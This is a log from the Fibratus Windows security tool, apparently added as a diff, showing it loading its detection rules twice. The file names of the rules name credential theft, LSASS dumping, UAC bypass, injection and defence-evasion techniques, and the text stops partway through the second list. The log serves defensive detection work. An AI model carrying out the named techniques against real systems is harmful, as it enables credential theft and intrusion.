+time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml 